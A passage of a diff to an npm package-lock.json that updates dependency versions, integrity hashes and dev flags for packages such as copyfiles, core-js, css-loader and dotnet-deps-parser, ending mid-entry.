"combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", @@ -3868,7 +6528,8 @@ "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true }, "concat-stream": { "version": "1.6.2", @@ -3886,6 +6547,7 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz", "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==", + "dev": true, "requires": { "dot-prop": "^5.2.0", "graceful-fs": "^4.1.2", @@ -3899,6 +6561,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, "requires": { "semver": "^6.0.0" } @@ -3906,7 +6569,8 @@ "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -3998,31 +6662,151 @@ } }, "copyfiles": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.2.0.tgz", - "integrity": "sha512-iJbHJI+8OKqsq+4JF0rqgRkZzo++jqO6Wf4FUU1JM41cJF6JcY5968XyF4tm3Kkm7ZOMrqlljdm8N9oyY5raGw==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.4.1.tgz", + "integrity": "sha512-fereAvAvxDrQDOXybk3Qu3dPbOoKoysFMWtkY3mv5BsL8//OSZVL5DCLYqgRfY5cWirgRzlC+WSrxp6Bo3eNZg==", "dev": true, "requires": { "glob": "^7.0.5", "minimatch": "^3.0.3", - "mkdirp": "^0.5.1", + "mkdirp": "^1.0.4", "noms": "0.0.0", "through2": "^2.0.1", - "yargs": "^13.2.4" + "untildify": "^4.0.0", + "yargs": "^16.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, + "string-width": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + } + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true + }, + "yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + }, + "yargs-parser": { + "version": "20.2.7", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.7.tgz", + "integrity": "sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==", + "dev": true + } } }, "core-js": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.6.5.tgz", - "integrity": "sha512-vZVEEwZoIsI+vPEuoF9Iqf5H7/M3eeQqWlQnYa8FSKKePuYTf5MWnxb5SDAzCa60b3JBRS5g9b+Dq7b1y/RCrA==" + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.10.1.tgz", + "integrity": "sha512-pwCxEXnj27XG47mu7SXAwhLP3L5CrlvCB91ANUkIz40P27kUcvNfSdvyZJ9CLHiVoKSp+TTChMQMSKQEH/IQxA==" }, "core-js-compat": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.6.5.tgz", - "integrity": "sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==", + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.10.1.tgz", + "integrity": "sha512-ZHQTdTPkqvw2CeHiZC970NNJcnwzT6YIueDMASKt+p3WbZsLXOcoD392SkcWhkC0wBBHhlfhqGKKsNCQUozYtg==", "dev": true, "requires": { - "browserslist": "^4.8.5", + "browserslist": "^4.16.3", "semver": "7.0.0" }, "dependencies": { @@ -4034,16 +6818,11 @@ } } }, - "core-js-pure": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.6.5.tgz", - "integrity": "sha512-lacdXOimsiD0QyNf9BC/mxivNJ/ybBGJXQFKzRekp1WTHoVUWsUHEn+2T8GJAzzIhyOuXA+gOxCVN3l+5PLPUA==", - "dev": true - }, "core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true }, "cosmiconfig": { "version": "6.0.0", @@ -4058,19 +6837,19 @@ } }, "create-ecdh": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.3.tgz", - "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.4.tgz", + "integrity": "sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==", "dev": true, "requires": { "bn.js": "^4.1.0", - "elliptic": "^6.0.0" + "elliptic": "^6.5.3" }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -4144,12 +6923,13 @@ "crypto-random-string": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/crypto-random-string/-/crypto-random-string-2.0.0.tgz", - "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==" + "integrity": "sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==", + "dev": true }, "css-loader": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.5.3.tgz", - "integrity": "sha512-UEr9NH5Lmi7+dguAm+/JSPovNjYbm2k3TK58EiwQHzOHH5Jfq1Y+XoP2bQO6TMn7PptMd0opxxedAWcaSTRKHw==", + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-3.6.0.tgz", + "integrity": "sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==", "dev": true, "requires": { "camelcase": "^5.3.1", @@ -4157,22 +6937,51 @@ "icss-utils": "^4.1.1", "loader-utils": "^1.2.3", "normalize-path": "^3.0.0", - "postcss": "^7.0.27", + "postcss": "^7.0.32", "postcss-modules-extract-imports": "^2.0.0", "postcss-modules-local-by-default": "^3.0.2", "postcss-modules-scope": "^2.2.0", "postcss-modules-values": "^3.0.0", - "postcss-value-parser": "^4.0.3", - "schema-utils": "^2.6.6", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^2.7.0", "semver": "^6.3.0" }, "dependencies": { + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true + }, "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", "dev": true }, + "schema-utils": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz", + "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.5", + "ajv": "^6.12.4", + "ajv-keywords": "^3.5.2" + } + }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -4498,15 +7307,11 @@ "assert-plus": "^1.0.0" } }, - "data-uri-to-buffer": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-1.2.0.tgz", - "integrity": "sha512-vKQ9DTQPN1FLYiiEEOQ6IBGFqvjCa5rSK3cWMy/Nespm5d/x3dGFT9UBZnkLxCwua/IXBi2TYnwTEpsOvhC4UQ==" - }, "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, "requires": { "ms": "2.0.0" } @@ -4514,7 +7319,8 @@ "decamelize": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "dev": true }, "decamelize-keys": { "version": "1.1.0", @@ -4536,6 +7342,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dev": true, "requires": { "mimic-response": "^3.1.0" }, @@ -4543,7 +7350,8 @@ "mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true } } }, @@ -4564,12 +7372,14 @@ "deep-extend": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", - "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==" + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", - "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=" + "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", + "dev": true }, "default-gateway": { "version": "4.2.0", @@ -4581,15 +7391,26 @@ "ip-regex": "^2.1.0" } }, + "defaults": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", + "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", + "dev": true, + "requires": { + "clone": "^1.0.2" + } + }, "defer-to-connect": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.0.tgz", - "integrity": "sha512-bYL2d05vOSf1JEZNx5vSAtPuBMkX8K9EUutg7zlKvTqKXHt7RhWJFbmd7qakVuf13i+IkGmp6FwSsONOf6VYIg==" + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "dev": true }, "define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", + "dev": true, "requires": { "object-keys": "^1.0.12" } @@ -4635,23 +7456,6 @@ } } }, - "degenerator": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-1.0.4.tgz", - "integrity": "sha1-/PSQo37OJmRk2cxDGrmMWBnO0JU=", - "requires": { - "ast-types": "0.x.x", - "escodegen": "1.x.x", - "esprima": "3.x.x" - }, - "dependencies": { - "esprima": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz", - "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=" - } - } - }, "del": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz", @@ -4720,7 +7524,8 @@ "depd": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", - "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", + "dev": true }, "des.js": { "version": "1.0.1", @@ -4753,7 +7558,14 @@ "diff": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", - "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==" + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true + }, + "diff-sequences": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz", + "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==", + "dev": true }, "diffie-hellman": { "version": "5.0.3", @@ -4767,9 +7579,9 @@ }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -4778,6 +7590,7 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, "requires": { "path-type": "^4.0.0" } @@ -4811,6 +7624,7 @@ "version": "2.1.3", "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.3.tgz", "integrity": "sha512-cwaRptBmYZwu/FyhGcqBm2MzXA77W2/E6eVkpOZVDk6PkI9Bjj84xPrXiHMA+OWjzNy+DFjgKh8Q+1hMR7/OHg==", + "dev": true, "requires": { "debug": "^4.1.1", "readable-stream": "^3.5.0", @@ -4819,22 +7633,25 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "readable-stream": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, "requires": { "inherits": "^2.0.3", "string_decoder": "^1.1.1", @@ -4844,11 +7661,12 @@ } }, "dockerfile-ast": { - "version": "0.0.19", - "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.0.19.tgz", - "integrity": "sha512-iDRNFeAB2j4rh/Ecc2gh3fjciVifCMsszfCfHlYF5Wv8yybjZLiRDZUBt/pS3xrAz8uWT8fCHLq4pOQMmwCDwA==", + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dockerfile-ast/-/dockerfile-ast-0.2.0.tgz", + "integrity": "sha512-iQyp12k1A4tF3sEfLAq2wfFPKdpoiGTJeuiu2Y1bdEqIZu0DfSSL2zm0fk7a/UHeQkngnYaRRGuON+C+2LO1Fw==", + "dev": true, "requires": { - "vscode-languageserver-types": "^3.5.0" + "vscode-languageserver-types": "^3.16.0" } }, "doctrine": { @@ -4870,12 +7688,19 @@ } }, "dom-helpers": { - "version": "5.1.4", - "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.1.4.tgz", - "integrity": "sha512-TjMyeVUvNEnOnhzs6uAn9Ya47GmMo3qq7m+Lr/3ON0Rs5kHvb8I+SQYjLUSYn7qhEm0QjW0yrBkvz9yOrwwz1A==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.0.tgz", + "integrity": "sha512-Ru5o9+V8CpunKnz5LGgWXkmrH/20cGKwcHwS4m73zIvs54CN9epEmT/HLqFJW3kXpakAFkEdzgy1hzlJe3E4OQ==", "requires": { "@babel/runtime": "^7.8.7", - "csstype": "^2.6.7" + "csstype": "^3.0.2" + }, + "dependencies": { + "csstype": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.7.tgz", + "integrity": "sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g==" + } } }, "dom-serializer": { @@ -4933,20 +7758,23 @@ } }, "dot-prop": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.2.0.tgz", - "integrity": "sha512-uEUyaDKoSQ1M4Oq8l45hSE26SnTxL6snNnqvK/VWx5wJhmff5z0FUVJDKDanor/6w3kzE3i7XZOk+7wC0EXr1A==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", + "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", + "dev": true, "requires": { "is-obj": "^2.0.0" } }, "dotnet-deps-parser": { - "version": "4.10.0", - "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-4.10.0.tgz", - "integrity": "sha512-dEO1oTvreaDCtcvhRdOmmAMubyC+MWqVr1c/1Wvasi+NW4NZeB67qGh1taqowUFh+aCXtPw3SP2eExn6aNkhwA==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/dotnet-deps-parser/-/dotnet-deps-parser-5.0.0.tgz", + "integrity": "sha512-1l9K4UnQQHSfKgeHeLrxnB53AidCZqPyf9dkRL4/fZl8//NPiiDD43zHtgylw8DHlO7gvM8+O5a0UPHesNYZKw==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch", - "@types/xml2js": "0.4.5", + "lodash.isempty": "^4.4.0", + "lodash.set": "^4.3.2", + "lodash.uniq": "^4.5.0", "source-map-support": "^0.5.7", "tslib": "^1.10.0", "xml2js": "0.4.23" @@ -4960,12 +7788,14 @@ "duplexer3": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", - "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" + "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=", + "dev": true }, "duplexify": { "version": "3.7.1", "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==", + "dev": true, "requires": { "end-of-stream": "^1.0.0", "inherits": "^2.0.1", @@ -4990,9 +7820,9 @@ "dev": true }, "electron-to-chromium": { - "version": "1.3.432", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.432.tgz", - "integrity": "sha512-/GdNhXyLP5Yl2322CUX/+Xi8NhdHBqL6lD9VJVKjH6CjoPGakvwZ5CpKgj/oOlbzuWWjOvMjDw1bBuAIRCNTlw==", + "version": "1.3.713", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.713.tgz", + "integrity": "sha512-HWgkyX4xTHmxcWWlvv7a87RHSINEcpKYZmDMxkUlHcY+CJcfx7xEfBHuXVsO1rzyYs1WQJ7EgDp2CoErakBIow==", "dev": true }, "element-resize-event": { @@ -5000,25 +7830,34 @@ "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" }, - "elliptic": { - "version": "6.5.3", - "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.3.tgz", - "integrity": "sha512-IMqzv5wNQf+E6aHeIqATs0tOLeOTwj1QKbRcS3jBbYkl5oLAserA8yJTT7/VyHUYG91PRmPyeQDObKLPpeS4dw==", + "elfy": { + "version": "1.0.0", + "resolved": 